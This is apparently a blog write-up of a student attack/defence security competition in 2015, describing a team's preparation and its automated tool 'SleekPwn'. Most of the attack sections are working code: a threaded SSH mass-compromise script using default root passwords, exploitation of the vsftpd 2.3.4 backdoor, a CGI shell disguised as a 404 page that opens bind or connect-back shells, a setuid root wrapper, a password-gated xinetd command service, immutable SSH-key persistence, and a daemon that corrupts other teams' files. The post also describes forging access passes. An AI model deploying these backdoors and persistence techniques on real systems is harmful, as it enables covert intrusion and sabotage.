NUS Greyhats at CDDC 2015 and (Almost) Epic Mass Exploitation

22 minute read

Disclaimer: All opinions shared in this article are solely mine and I do not represent anyone else. Also, please do note the distinction between ‘Gamemaster’ and ‘Hardware and Network Vendor’ when the terms do appear in the text.

Edit (240615 15:40): After speaking to other attendees, I realised I wasn’t quite accurate in how I was describing the network issues and so have made corrections.

Introduction

The Cyber Defenders Discovery Camp 2015 is an introductory computer security workshop slash competition targeted at students at the JC and IHL levels. There are two days of training in which a condensed form of OSSA by ThinkSECURE is delivered to the participants which aims to cover the basics of what is required to compete on the third day.

It has been a great pleasure of mine to have been given the opportunity to participate in my second CDDC (I won in 2012) with the NUS Greyhats this year. I salute their passion and the experience even though things went horribly for us (will elaborate later) and I look forward to being a part of the group as it grows. We have put in an immense amount of effort together.

The format of the competition is unique. There are two objectives:

  1. Attack and Defend a Linux firewall and Linux server that was provided during the training days. The server plays host to a number of very vulnerable services.
  2. Penetrate your way into the Scenario Network run by the Gamemasters and solve side challenges.

If you are familiar with the competitions run by ThinkSECURE such as AIRRAID, objective 2 is their trademark. So the decision to include an attack/defence portion is an interesting addition. Unfortunately, the time limit is ridiculously short (5 hours) to fully appreciate the intricacies of the scenario network in addition to playing defence.

This blog post will discuss, in full disclosure style, the preparations we performed, the scripts we wrote, the things we did, the shenanigans we pulled, and ultimately the really cool things that we’ve learnt. However, on the flip side, I believe that CDDC 2012 was a much smoother event. I am quite familiar with CTFs and have a few reservations about this year’s edition (with regards to the ridiculously short time allocated for the Gamemasters by the organisers to run the gameplay, as well as the poor floor network support displayed by the hardware and network vendor). I will discuss the shortcomings of this competition, and provide some suggestions for improvement in a separate article.

Preparation

A stitch in time saves nine. Right?

Training Days

Being more or less well versed with the contents of the training (most of us hold the OSSA certification), one might think that it was a waste of time for us. One could not be more wrong. The training days were a great opportunity to learn more about both about our fellow competitors as well as the elements of the competition. The trick is to keep your eyes, ears, and mind open. Always be on the lookout for holes.

Competition Elements

From the way the hardware was set up, it was obvious that the competition would leverage on the same infrastructure as the workshop. Now, two virtual machines running Fedora were provided for the workshop on the server machine. One is dual-homed and acts as the firewall, and the other sits behind the firewall and runs services.

Since the effort required to set up the virtual machines PER TEAM is quite astronomical (there were 57 IHL teams), we predicted that the virtual machines would be reused for the attack/defence portion of the competition (we were correct). Now, what would an intelligent agent do with this prediction? Copy out the virtual machines to a thumb drive for analysis at home, of course 🙂

Now, that isn’t the only thing that can be done. The implication of virtual machine re-use means that there is the very large possibility that students might screw up their machines during the workshop. Thus, there is also an equally large possibility that the organisers are aware of this and will give the instruction to revert their images (this didn’t happen though).

However, we are also banking on the fact that people who know what they are doing as a sysadmin would probably take the opportunity to harden their systems and NOT revert their images to prevent losing progress. This in addition to another prediction we had made the previous night: that the username and passwords will be set defaults instead of being team-specific (unlike in HitB), prompted us to write scripts to automate the planting of backdoors in every server of every team. The following is a listing of the python script we used to very quickly own every team’s machine.

from pwn import *
from Queue import Queue
from threading import Thread
import socket

USERNAME = "root"
PASSWORD = "password"
hosts = file("hosts").read().split("\n")

def do_stuff(q):
      while True:
        host = q.get()
        pwn(host)
        q.task_done()

def pwn(host):
    if host == "":
        return
    try:
        socket.inet_aton(host)
    except:
        return
    try:
        s = ssh(USERNAME, host, password=PASSWORD)
        s.upload_file("./pwnscript", remote="/tmp/cache")
        s.upload_file("./freeshell.py", remote="/tmp/fs.py")
        s.run_to_end("echo '%s' | sudo sh /tmp/cache" % PASSWORD)

        log.success("%s Owned" % host)
    except:
        log.error("%s failed" % host)

q = Queue(maxsize=0)
num_threads = 10

for i in range(num_threads):
    worker = Thread(target=do_stuff, args=(q,))
    worker.setDaemon(True)
    worker.start()

for i in hosts:
    q.put(i)

q.join()

Server Image Analysis

Obviously, we cannot rely on our backdoors persisting through the competition and we are required to harden our own systems as well so a deep analysis on the system is key. First, we set up the machine on Virtualbox with the VMWare disk attached and edit the interface settings so that we can access it on a local network. We configure the machine to use DHCP.

[root@student-svr ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth1
DEVICE=eth1
BOOTPROTO=dhcp
ONBOOT=yes

Now, we examine the list of processes that listen on both TCP and UDP ports.

[root@student-svr ~]# netstat -tunap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:587                 0.0.0.0:*                   LISTEN      1412/sendmail: acce
tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN      1456/lighttpd
tcp        0      0 0.0.0.0:8080                0.0.0.0:*                   LISTEN      1439/httpd
tcp        0      0 0.0.0.0:465                 0.0.0.0:*                   LISTEN      1412/sendmail: acce
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      1389/xinetd
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1379/sshd
tcp        0      0 0.0.0.0:25                  0.0.0.0:*                   LISTEN      1412/sendmail: acce
tcp        0      0 0.0.0.0:8443                0.0.0.0:*                   LISTEN      1439/httpd
tcp        0    960 192.168.1.57:22             192.168.1.46:51102          ESTABLISHED 1713/0
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               1623/dhclient

We can see that the following services are running and actively listening for connections:

  1. xinetd on tcp port 21
  2. sshd on tcp port 22
  3. sendmail on tcp ports 25, 465, and 587
  4. lighttpd on tcp port 80
  5. httpd on tcp ports 8080 and 8443
  6. dhclient on udp port 68

While all of these services are exploitable in one way or the other, the one that catches our eye is the xinetd one. Port 21 is FTP and xinetd will probably launch the FTP service on connection. Let us check:

[root@student-svr ~]# nc localhost 21
220-
220-               *** OUR FTP SERVER ***
220-
220-    You are user %N out of a maximum of %M authorized anonymous logins.
220-    The current time here is %T.
220-    If you experience any problems here, contact : %E
220-
220-
220

And we are correct. Checking the xinetd configuration:

[root@student-svr ~]# cat /etc/xinetd.d/vsftpd
# default: on
# description:
#   The vsftpd FTP server serves FTP connections. It uses
#   normal, unencrypted usernames and passwords for authentication.
# vsftpd is designed to be secure.
service ftp
{
        socket_type             = stream
        wait                    = no
        user                    = root
        server                  = /usr/local/sbin/vsftpd
#       server_args             =
#       log_on_success          += DURATION USERID
#       log_on_failure          += USERID
        nice                    = 10
        disable                 = no
}

[root@student-svr ~]# cat /etc/xinetd.d/xproftpd
# default: off
# description: The ProFTPD FTP server serves FTP connections. It uses \
#    normal, unencrypted usernames and passwords for authentication.
service ftp
{
    socket_type        = stream
    wait            = no
    user            = root
    server            = /usr/sbin/in.proftpd
    log_on_success        += DURATION USERID
    log_on_failure        += USERID
    nice            = 10
    disable            = yes
}

Looks like the server runs vsftpd by default. Let’s check what version it is running.

[root@student-svr ~]# /usr/local/sbin/vsftpd -v
vsftpd: version 2.3.4

That's a bingo!

vsftpd 2.3.4 has a backdoor inserted into it 🙂 If you read the description of the backdoor, you can see how it triggers. Basically, if you send a string containing a smiley face (such as when you are providing a USER), a listening shell will be started on port 6200. To verify that this is indeed true, we can launch the exploit manually over netcat:

amon@Evanna:~/ctf2015/cddc$ nc 192.168.1.57 21
220-
220-               *** OUR FTP SERVER ***
220-
220-    You are user %N out of a maximum of %M authorized anonymous logins.
220-    The current time here is %T.
220-    If you experience any problems here, contact : %E
220-
220-
220
USER anonymous:)
331 Please specify the password.
PASS
^C
amon@Evanna:~/ctf2015/cddc$ nc 192.168.1.57 6200
ls
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

It even has root permissions since obviously, xinetd has been configured to use the root user for vsftpd. Now, this is easily fixable. Since we want to ensure that the FTP behaviour is exactly as how the Gamemasters expect it to be during the competition, we simply patched the binary by removing the shell spawning and string compare triggers.

Using Hopper to NOP out the offending bytes Using Hopper to NOP out the offending bytes

Now after a bit of searching around, we discovered that there are two files that are required to be exact and unchanged to maintain a level of service availability. They were:

[root@student-svr ~]# cat /home/public/file
The contents of this file is not to be changed or deleted.
[root@student-svr ~]# cat /srv/www/htdocs/index.html
<html>
<head>
</head>
<body>
<br>
<br><ul>
<font size=5px face="tahoma"><b>Welcome To Our Web Server</b></font>
<br>
<br>
This page should not be modified in any way (not even a<br>
space or fullstop should be added!) and should<br>
remain accessible by anyone visiting this service.
<br>
<br>
Any outage to this service or modification or removal of<br>
this web page will constitute a loss of availability on the<br>
part of the person(s) running this service.
<br><br>
</ul>
</body>
</html>

We inferred that the SSH, FTP, and Web access has to be untampered with.

This is only the tip of the iceberg for what we’ve discovered in our analysis of the system. We’ll leave that as an exercise to the reader to discover more :) For a description of how we leveraged our knowledge of the system, please take a look at the SleekPwn section later in this article.

Other Competitors

Now, we were also able to very accurately pin point which IP address maps to which team as well. How, you might ask? Reconnaissance, of course :) Also, teams are given a number and your virtual machines are mapped to: 172.25.0.X for the firewall, and 172.26.X.1 for the server where X is the team number.

Map of teams Map of teams

Of course, we aren’t restricted to the technical aspects of security. There is always the operational aspect of it. We searched the social networking websites for mentions of #CDDC and found quite a few names to match to the teams. We even found an aspiring photographer on an SP team :/ Taking pictures of your pass isn’t a very good idea anywhere.

Completely exploitable Completely exploitable

Prepared Attacks

Access Pass Spoofing

From there, we came up with a plan to deny some teams access to their starting packs. We designed a method to spoof the access passes that allows for very quick and easy replacement of names. Here are a few images detailing the process:

Matching the colours and sizes Matching the colours and sizes

Examples of the finished product Examples of the finished product

All we needed to do was ensure that we queue up before our target teams and collect their starter packs :) Do note that the Gamemasters did anticipate such a ruse happening (it is a free fire zone, after all) and prepared back ups.

Shown here is some of our loot:

Some souvenirs Some souvenirs

SleekPwn

My baby of the competition is called SleekPwn. I have open sourced it and it is accessible at my github repo. It is a system that was designed to automatically engage and compromise opponent servers, and monitor for the indicators of compromise and sabotage. The attack model is heavily specific to this competition and is designed to be robust and intelligent. This is because recovering from a compromise is very easy: one may just simply revert the image. Hence, it has to have automated detection and re-compromise logic included as well.

As a summary:

What it is

  • Written in Python, leveraging on a few libraries:
    • pwntools, for easier SSH handling and beautiful logging
    • bottle, to run the web monitor interface
    • peewee, to provide the ORM on top of a SQLite database
    • requests, for better web networking
    • jquery, for the javascript web bits
  • Payloads are written in:
    • Shell Script
    • Python
    • C
  • Is multi-threaded and handles scale very well
    • Is fault tolerant and very robust
  • Fire-and-Forget
    • There is no requirement for any intervention during the runtime
    • Will compromise targets automatically
    • Will monitor for reverts and automatically re-compromise
  • Maintains Persistence
    • Multiple avenues of persistence to regain entry
    • Extremely robust embedding
  • Maintains Un-Integrity of Flags
    • Corrupts the publicly accessible flags on detection that the flags have been recovered.
    • Leverages extended file attributes to make it difficult for defenders to defeat
    • Process respawns automatically on kill
  • Patches the Target System
    • Fixes the vulnerabilities on a compromised system after persistence has been maintained
  • Written over 2 days

What it is not

  • Not a script kiddie tool
    • This is a very domain specific system tailored for this competition
  • Not easy to set up
    • I had to patch pwntools at a few places to fix debilitating bugs caused by that library
    • Generation of the target configuration might require writing your own scripts
    • Heavy editing of the source code is required to adapt this to your needs
    • You need to generate your own keys

Exploitation

SleekPwn attempts to compromise a system in three tiers:

  1. vsftpd 2.3.4 backdoor
  2. planted ssh keys (during the training)
  3. default root passwords

If anyone of these access methods are successful, SleekPwn will immediately deliver the first stage payload which overwrites /root/.ssh/authorized_keys with our public key in addition to the Gamemaster’s keys.

[root@student-svr ~]# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvwm+v3g/s0lLXRcoPH/3a7++lYWoEtq/11yZ6gOLVnFgDOzhQEpufwTqTNetzEw7BCeotpz8ZiG+fGAWvIdmGfErDzi6tuZWWj4uOh20T/sjimf40TGpggmCsfuNSm1AX0s0tXSYOIqPT1gR1fz71k4U/UeZhTiEmFQxG3aSu5SRrnWIJNjYRJm/Rd/JYPamq62loBM/oG4j8of62hbev2ua9jgL/E6GJ06YUto+ZpSG3ZMpzom6uVWYVC+ilneCHvMvMv0t7fdrM8I2SNtkHdGrUQOKKqaX3qlD6l3NMsnCk8gYDxP9H94/kW3YQH0FYuU+o8zC5LS+a4BIKOIgcw== root@bt
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4t1mFzyRRmYqPcB4Oy5WJ9iugrjUhTnw4fvpby/UndFqGV8LaZ3z/pkcMaFugZ0b7wfrtC1i6M8vzm4N7JDK2a/DoJa0mPW6w0uZHsSD1Yrf/MBOPmkc/1o/CT4x7HakPRwg3d0aPNJpeShU/PViQ89PqG3UV8wFojudjfcFO7CN3Krzsx/InL2fBrnClf7VxQ3bZQ/uN9usNymeOJ0mX7bERliGmKUVUT2bjMSQ6sKsrJvScnJRzm6vv2q0nyigetjrmQAFYdHJJE8AWQ7IxlKIJ07yjWKgnWvJ6/7OfDfLJu/P6Ph53kHxHukaHwPjfmGd+8eGO6DhZpTYeameWQ== root@bt
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoymQmh2ZwkUwnNxe0VSmAdDrbroBnwrJNmTizkx2CoOVmx/NINPCaz68f1HfwERxJRjeNz+ABwtFPh5oprZSy1FPMywQGIpkB4Zg1TEo35ZB+ZijqdCx/L8LXAfpBconPdKsg5TubJczR6E93S/AQFqEqg617GzvcjnP6cEdhxtv9yBW4k6lsTsFn9ZbBLoIu5d59NfMzNp6DDU8Ct6aUIlY5WcpEoBTdFKJQChtdh4hhn3TxenWdBp+RtQ50dtazIG+XUaT9ju5g0jSU4sTN4yRRKgXVRMO5rPTVnRdfnbG3MMGGWLI3cOw7upT7xdaJQAvcfPB+A2rVPXNZ1Ejmw== root@bt

It then overwrites /etc/ssh/sshd_config to allow root connections and restarts the ssh server. From then on, it connects using SSH to prevent sniffing of traffic. It uploads the second stage payload which handles the extra persistence, sabotage, and patching functionality.

If these fail, it will try to check if their vsftpd 2.3.4 is the patch binary version we replace in the egress stage (see the Patching section).

Persistence

SleekPwn maintains its persistence on a target machine in four ways:

1. SSH keys

Installing our public key in /root/.ssh/authorized_keys and setting that file to be immutable.

# 4. recheck the authorized_keys
cat /root/.ssh/authorized_keys | md5sum | grep 0975089eafc21739df2b9a9a930bc0ba || sh -c 'chattr -i /root/.ssh/authorized_keys; printf "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkl3QUFBUUVBdndtK3YzZy9zMGxMWFJjb1BILzNhNysrbFlXb0V0cS8xMXlaNmdPTFZuRmdET3poUUVwdWZ3VHFUTmV0ekV3N0JDZW90cHo4WmlHK2ZHQVd2SWRtR2ZFckR6aTZ0dVpXV2o0dU9oMjBUL3NqaW1mNDBUR3BnZ21Dc2Z1TlNtMUFYMHMwdFhTWU9JcVBUMWdSMWZ6NzFrNFUvVWVaaFRpRW1GUXhHM2FTdTVTUnJuV0lKTmpZUkptL1JkL0pZUGFtcTYybG9CTS9vRzRqOG9mNjJoYmV2MnVhOWpnTC9FNkdKMDZZVXRvK1pwU0czWk1wem9tNnVWV1lWQytpbG5lQ0h2TXZNdjB0N2Zkck04STJTTnRrSGRHclVRT0tLcWFYM3FsRDZsM05Nc25DazhnWUR4UDlIOTQva1czWVFIMEZZdVUrbzh6QzVMUythNEJJS09JZ2N3PT0gcm9vdEBidApzc2gtcnNhIEFBQUFCM056YUMxeWMyRUFBQUFCSXdBQUFRRUE0dDFtRnp5UlJtWXFQY0I0T3k1V0o5aXVncmpVaFRudzRmdnBieS9VbmRGcUdWOExhWjN6L3BrY01hRnVnWjBiN3dmcnRDMWk2TTh2em00TjdKREsyYS9Eb0phMG1QVzZ3MHVaSHNTRDFZcmYvTUJPUG1rYy8xby9DVDR4N0hha1BSd2czZDBhUE5KcGVTaFUvUFZpUTg5UHFHM1VWOHdGb2p1ZGpmY0ZPN0NOM0tyenN4L0luTDJmQnJuQ2xmN1Z4UTNiWlEvdU45dXNOeW1lT0owbVg3YkVSbGlHbUtVVlVUMmJqTVNRNnNLc3JKdlNjbkpSem02dnYycTBueWlnZXRqcm1RQUZZZEhKSkU4QVdRN0l4bEtJSjA3eWpXS2duV3ZKNi83T2ZEZkxKdS9QNlBoNTNrSHhIdWthSHdQamZtR2QrOGVHTzZEaFpwVFllYW1lV1E9PSByb290QGJ0CnNzaC1yc2EgQUFBQUIzTnphQzF5YzJFQUFBQUJJd0FBQVFFQW95bVFtaDJad2tVd25OeGUwVlNtQWREcmJyb0Jud3JKTm1UaXpreDJDb09WbXgvTklOUENhejY4ZjFIZndFUnhKUmplTnorQUJ3dEZQaDVvcHJaU3kxRlBNeXdRR0lwa0I0WmcxVEVvMzVaQitaaWpxZEN4L0w4TFhBZnBCY29uUGRLc2c1VHViSmN6UjZFOTNTL0FRRnFFcWc2MTdHenZjam5QNmNFZGh4dHY5eUJXNGs2bHNUc0ZuOVpiQkxvSXU1ZDU5TmZNek5wNkREVThDdDZhVUlsWTVXY3BFb0JUZEZLSlFDaHRkaDRoaG4zVHhlbldkQnArUnRRNTBkdGF6SUcrWFVhVDlqdTVnMGpTVTRzVE40eVJSS2dYVlJNTzVyUFRWblJkZm5iRzNNTUdHV0xJM2NPdzd1cFQ3eGRhSlFBdmNmUEIrQTJyVlBYTloxRWptdz09IHJvb3RAYnQK" | base64 -d > /root/.ssh/authorized_keys; chattr +i /root/.ssh/authorized_keys'

2. CGI Shells

Creating a new CGI directory in the /etc/httpd/conf/httpd.conf configurations that map /cgi/ to /usr/lib/yum-plugins/, and uploading a special python CGI script to /usr/lib/yum-plugins/.gh. The CGI script:

#!/usr/bin/python
# by amon (amon@nandynarwhals.org)

import cgi

import socket
import md5
import os
import subprocess

notfound = """
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /cgi/.gh was not found on this server.</p>
<hr>
</body></html>
"""

print "Content-type:text/html\r\n\r\n"
print notfound

form = cgi.FieldStorage()
if "r" not in form:
    exit()
r = int(form["r"].value.strip())
if "cb" not in form:
    serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    serversocket.bind(("0.0.0.0", r))
    serversocket.listen(5)

    (clientsocket, address) = serversocket.accept()
else:
    cb = form["cb"].value
    clientsocket = socket.socket()
    clientsocket.connect((cb, r))

clientsocket.sendall("Breakfast Club?")
data = clientsocket.recv(20)
if md5.md5(data.strip()).hexdigest() == "f8b882394d662869d6f550d9112ce82e":
    clientsocket.sendall("Judd Nelson?")
    os.dup2(clientsocket.fileno(), 0)
    os.dup2(clientsocket.fileno(), 1)
    os.dup2(clientsocket.fileno(), 2)
    p=subprocess.call(["/bin/sh","-i"])

It masquerades as a HTTP 404 error but is actually able to create listener shells or trigger connect back shells. The script accepts two parameters: cb and r. ‘r’ refers to the port. This parameter is required. ‘cb’ is the callback address. This is optional. If ‘cb’ is supplied, the remote machine will connect to the local machine at the port. The interesting thing about the backdoor is, it requires a password so an enterprising system admin who has spotted the script can’t simply start spawning shells of his own.

Demo of Listener Shell:

amon@Evanna:~/ctf2015/cddc/sleekpwn$ curl 192.168.1.57:8080/cgi/.gh?r=1337 &
[1] 8709
amon@Evanna:~/ctf2015/cddc/sleekpwn$ nc 192.168.1.57 1337
Breakfast Club?Claire Standish
Judd Nelson?<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
 root@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.14 (Fedora) Server at 192.168.1.57 Port 8080</address>
</body></html>
sh: no job control in this shell
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-3.2$ /usr/lib/yum-plugins/sys
id
uid=0(root) gid=0(root) groups=48(apache)

Callback Shell:

amon@Evanna:~/ctf2015/cddc/sleekpwn$ curl 192.168.1.57:8080/cgi/.gh?r=1337\&cb=192.168.1.46
amon@Evanna:~/ctf2015/cddc/sleekpwn$ nc -l -p 1337
Breakfast Club?Claire Standish
Judd Nelson?sh: no job control in this shell
sh-3.2$ /usr/lib/yum-plugins/sys
id
uid=0(root) gid=0(root) groups=48(apache)

Setuid Binaries

Uploading a setuid binary wrapper around a shell to escalate a user to root. This means we could have logged in as public even if all other backdoors were removed and still have escalated to root. This was demonstrated in the CGI backdoor in the previous point. Here is a demo of it in action when accessing the target server with the default public:password credentials (which is required for defence points).

amon@Evanna:~/ctf2015/cddc/sleekpwn$ ssh public@192.168.1.57
public@192.168.1.57's password:
Last login: Thu Jun 18 13:37:51 2015 from 192.168.1.46
[public@student-svr ~]$ id
uid=500(public) gid=500(public) groups=500(public)
[public@student-svr ~]$ cd /usr/lib/yum-plugins/
[public@student-svr yum-plugins]$ ls -la
total 32
drwxr-xr-x  2 root root  4096 2015-06-18 13:27 .
drwxr-xr-x 30 root root 12288 2013-11-08 16:40 ..
-rw-r--r--  1 root root  1914 2015-06-18 13:27 cat.asc
-rwxr-xr-x  1 root root  1145 2015-06-18 13:27 .gh
-rwsr-sr-x  1 root root  5169 2015-06-18 13:27 sys
[public@student-svr yum-plugins]$ ./sys
sh-3.2# id
uid=0(root) gid=0(root) groups=500(public)
sh-3.2#

Custom xinetd Service

Configured xinetd to listen on 6660 and run the special python script called pyx that authenticates a password. This service facilitates mass control of all the targets.

Custom xinetd service:

[root@student-svr ~]# cat /etc/xinetd.d/pyx
service pyx
{
        socket_type             = stream
        wait                    = no
        user                    = root
        server                  = /usr/sbin/pyx
#       server_args             =
#       log_on_success          += DURATION USERID
#       log_on_failure          += USERID
        nice                    = 10
        disable                 = no
        port                    = 6660
}

Custom python listener:

#!/usr/bin/python
# by amon (amon@nandynarwhals.org)

import sys
import md5
import os

sys.stdout.write('.')
sys.stdout.flush()
data = sys.stdin.readline().strip()
try:
    auth, cmd = data.split(":::")
    if md5.md5(auth).hexdigest() == "b41135d9bda51105855aeeb3c4aa7e5a":
        os.system(cmd)
except:
    pass

Additionally, we have a tool that uses multi-threading to send commands to a very large list of hosts using this backdoor.

amon@Evanna:~/ctf2015/cddc/sleekpwn/dev/badbitches$ cat catstorm | python massbitches.py demohosts
Working on 192.168.1.57
Working on 192.168.1.60
192.168.1.57: cmd sent successfully
192.168.1.60: cmd failed to send

The result The result

Sabotage

We also hid this daemon as an existing service. We won’t elaborate on our techniques as it’s a pretty cool stealthy solution. Do a little more ‘Ask the Oracle’ 🙂

// Monitor flags for correction. Then rectify that.
// by amon (amon@nandynarwhals.org)

#include <stdlib.h>
#include <unistd.h>

int main() {
    while (1) {
        system("chattr -i /srv/www/htdocs/index.html");
        system("cat /srv/www/htdocs/index.html | md5sum | grep fa477c36d6c52d52bbd9b6af7df708fa && sed -i 's/service\\./service. /g' /srv/www/htdocs/index.html");
        system("chattr +i /srv/www/htdocs/index.html");
        system("chattr -i /var/ftp/welcome.msg");
        system("cat /var/ftp/welcome.msg | md5sum | grep df35704116608a3ed56f6710fe7e3b07 && sed -i 's/,//g' /var/ftp/welcome.msg");
        system("chattr +i /var/ftp/welcome.msg");
        system("chattr -i /home/public/file");
        system("cat /home/public/file | md5sum | grep 4d91498a12508cd7f51fe6d5265ee521 && sed -i 's/ts/t/g' /home/public/file");
        system("chattr +i /home/public/file");
        sleep(2);
    }
}

Patching

After we are done installing our backdoors and our unintegrity daemon, we want to leave the system to its own devices. We also don’t want anyone else coming in and rm -rf /-ing the whole server because there is beauty and craft in subtlety. Basically, there are three issues that need immediate fixing:

  1. vsftpd 2.3.4 backdoor
  2. Default passwords for root and logging in over ssh
  3. Default passwords for root and accessing FTP

Now, this is a little tricky because two of the three issues are solved by changing the default root password but we do not want to alert the team to the fact that their system has been compromised by changing their root passwords for them. Let’s deal with the vsftpd 2.3.4 backdoor first.

Our solution was extremely simple. I patched the binary to look for the character sequence ‘D8’ instead of ‘:)’ and replaced their original binary with mine.

Patching out the smiley Patching out the smiley

The other two issues we solved by modifying the corresponding service configuration files and essentially hardened the settings.

We can disallow root logins over FTP by enforcing a userlist file to be used by setting userlist_enable and userlist_file in /etc/vsftpd.conf.

printf "\nuserlist_enable=YES\nuserlist_file=/etc/ftpusers\n" >> /etc/vsftpd.conf

We can also disallow root logins using passwords over SSH by specifying the option PermitRootLogin without-password.

sed -i 's/#PermitRootLogin yes/PermitRootLogin without-password/g' /etc/ssh/sshd_config
sed -i 's/PermitRootLogin yes/PermitRootLogin without-password/g' /etc/ssh/sshd_config
service sshd restart

In Action

We have a screen capture of SleekPwn running a replay of the first hour of the competition. Unfortunately, SleekPwn stopped working towards the end of the first hour after the IHL network (provided by the hardware and network vendor that set up the floor cabling) displayed severe connectivity issues, preventing anyone in the IHL section to access the Gamemasters’ gameplay network. There was simply no way for us to reach anything in the gameplay network through the wired cabling and switches at the IHL tables since all traffic has to go through the faulty vendor supplied hardware.

Now, we can confirm that the gameplay network was not disrupted as the JC teams, who were probably directly cabled to the Gamemasters’ switches instead of through the IHL network, did not complain of any network outage or connectivity problems. This was further confirmed as after the left most IHL column was directly patched to the Gamemasters’ switch and regained connectivity. (We actually confirmed this for ourselves after the competition by plugging our SleekPwn machine to that row and instantly regained contact with our compromised machines.)

Connectivity issues aside, let us get back to the video. In the video, what you can observe is that the hosts change colours based on their statuses. Blue hosts have been compromised while black hosts are uncompromised. At that point, the black hosts are unreachable. That is, their servers were not up at all. SleekPwn ran without problems for a glorious hour until the IHL network went FUBAR. Unfortunately, no corrective effort was made on the part of the hardware and network vendors so connectivity was never regained for the rest of the columns.

Competition Day

Unfortunately, during the majority of the five hours of competition, our team was bogged down with debugging the network issues which ultimately turned out to be a hardware misconfiguration that affected everybody in the IHL group. As such, although we did solve a a lot of side challenges that do not rely on the main network, it was hardly enough. Our attempts at making progress just drove us further down into the ground as we focused on a very active playstyle where we expected to use the information we sacrificed our initial starting points for.

Instead, we were met with a very dead network (very bad monitoring of network health on the part of the hardware vendors supplying the student side of the network) and could do nothing but waste good time until the WiFi trade-ins were open at 12pm. The Wi-Fi network that connected straight to the Gamemasters had no such problems. It was truly a pity. About 80% of teams machines compromised, and unable to take advantage of that. (Incidentally, we were heartbroken that one of the side challenges we found through WiFi required us to demonstrate we had root access on Team 7. Which we did. But perhaps it was our fault that we didn’t seek to demonstrate it physically instead of banging our heads on the non responsive network)

As it were, it was no surprise the team that was the most passive took the grand prize while teams that actively sought solutions to their dilemma, taking risks and slogging through the mismanaged situation, and basically prepared for anything but the most ridiculously stacked odds on the part of the lack of timely network fault detection and remediation processes by the floor hardware providers.

Truly, a team can achieve the Best of Defence if there is no opposing Offence to speak of. An absent Offence that actually bled a number of teams dry just from running in that first hour.

I shall not elaborate any further. All further exposition will be carried on in this post where I will also perform a review of the situation and provide constructive feedback.

There will be no analysis of the scenario-based network.

Conclusions

While we have been met with extreme disappointment in the light of all our effort into preparing for the competition, not all is lost. In the preparation step, we have learnt to work as a team toward achieving an admirable goal and I must say we have taken huge steps to achieving it. Personally, I’ve learnt a lot just by dissecting the vulnerable server, crafting all sorts of attacks against it, and figuring out the defences against my own attacks and I’m glad that I can open source my work and write about it so that others may still learn. Seriously, it was a lot of fun when everything went according to plan for that one hour, with the pass spoofing shenanigans, mass exploitation, and document parsing assembly lines. And well…

I guess that sometimes the heroes have to be blind, deaf, and stumbling. Because apt metaphors are apt.

    Special cases aren't special enough to break the rules.
    Although practicality beats purity.
    Errors should never pass silently.
    Unless explicitly silenced.

amon@Evanna:~/ctf2015/cddc/sleekpwn$ cloc .
      31 text files.
      30 unique files.
      17 files ignored.

http://cloc.sourceforge.net v 1.60  T=0.18 s (77.4 files/s, 6684.4 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
Python                           6             99             50            462
HTML                             3             76              2            424
Bourne Shell                     1              4             12             34
C                                2              3              2             25
CSS                              1              0              0             12
Javascript                       1              0              1              3
-------------------------------------------------------------------------------
SUM:                            14            182             67            960
-------------------------------------------------------------------------------

Leave a Comment